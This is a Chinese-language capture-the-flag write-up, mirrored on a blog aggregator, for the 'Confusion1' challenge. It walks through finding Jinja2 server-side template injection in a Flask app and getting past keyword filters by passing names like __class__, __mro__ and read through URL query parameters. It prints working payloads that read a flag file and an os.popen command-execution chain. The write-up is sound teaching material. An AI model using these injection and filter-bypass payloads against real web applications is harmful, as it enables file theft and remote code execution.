zoukankan      html  css  js  c++  java
  • Confusion1

    Confusion1

    知识点

    通过request.args.[key]来绕过关键字限制

    在python的flask中的框架,可以通过request.args.get['key']来获取url中的get参数,类似于php中$_GET['key'] ,在进行python模板注入时,我们可以利用这个性质来绕过关键字的书写

    json

    json是字符串类型,但是形式像python中的字典类型,主要作用在于,json是字符串就方便在各种编程语言中传输,并且方便转换成对象,数组等。

    思路

    进去题目页面,先f12没有提示,再然后只能发现只有index.php有回显,login.php和register.php都是回显404,我们这时f12可以看到提示 :/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt ,这应该是flag的位置,我们要去读取这个文件,这时我用dirsearch扫一下,发现payload都可以回显200,但是都只是回显一个弹框(只是内容不同),没有回显具体内容,抓包看响应头和请求头也没发现,然后就不知道怎么办。

    看了wp说有python模板注入,傻了我,于是我用bp中的scanner模块扫一下,发现果然存在模板注入,并且告诉我是jinja2的模板引擎,那么就是python模板注入,估计是flask,于是开始注入

    构造http://220.249.52.133:50097/{{2*2}}

    回显The requested URL /4 was not found on this server.

    那么我们就可以照着这个形式注入

    构造http://220.249.52.133:50097/{{''.__class__}}

    这时候回显了一个弹框,为什么呢,可能是存在过滤,过滤了url中的path,那么参数呢?

    我们用request.args.key来试着利用参数进行绕过

    构造http://220.249.52.133:50097/{{''[request.args.a]}}?a=__class__

    回显The requested URL /<type 'str'> was not found on this server.

    说明这里我们成功进行了绕过,接下来照着这个思路继续尝试,发现还过滤了mro,subclasses,read,我们照样利用参数进行绕过,注意[request.args.a][request.args.b] 之间相当于有个字符连接符,并且[request.args.a]()?a=read 注意a不是等于read(),不然会返回500。

    构造payload:{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

    得到flag

    我试着根据http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

    利用参数绕过,来得到flag

    但是在尝试过程中发现globals被过滤了。不管在path中还是参数中都过滤了,不知道怎么绕过,就放弃了用第二种方法。。可能大佬知道怎么绕过

  • 相关阅读:
    mysql-workbench-community报错解决办法
    前端技术交流群
    h5页面在浏览器上好好的,到手机上熄火了又看不到报错信息怎么办?
    【面试篇】金九银十面试季,这些面试题你都会了吗?
    [译]8个惊人的HTML按钮悬停效果,不看后悔一辈子
    'Component' is defined but never used
    DNS协议
    HTTP协议
    套接字Socket
    GYM102219H Are You Safe?(凸包)
  • 原文地址:https://www.cnblogs.com/NineOne/p/14002351.html
Copyright © 2011-2022 走看看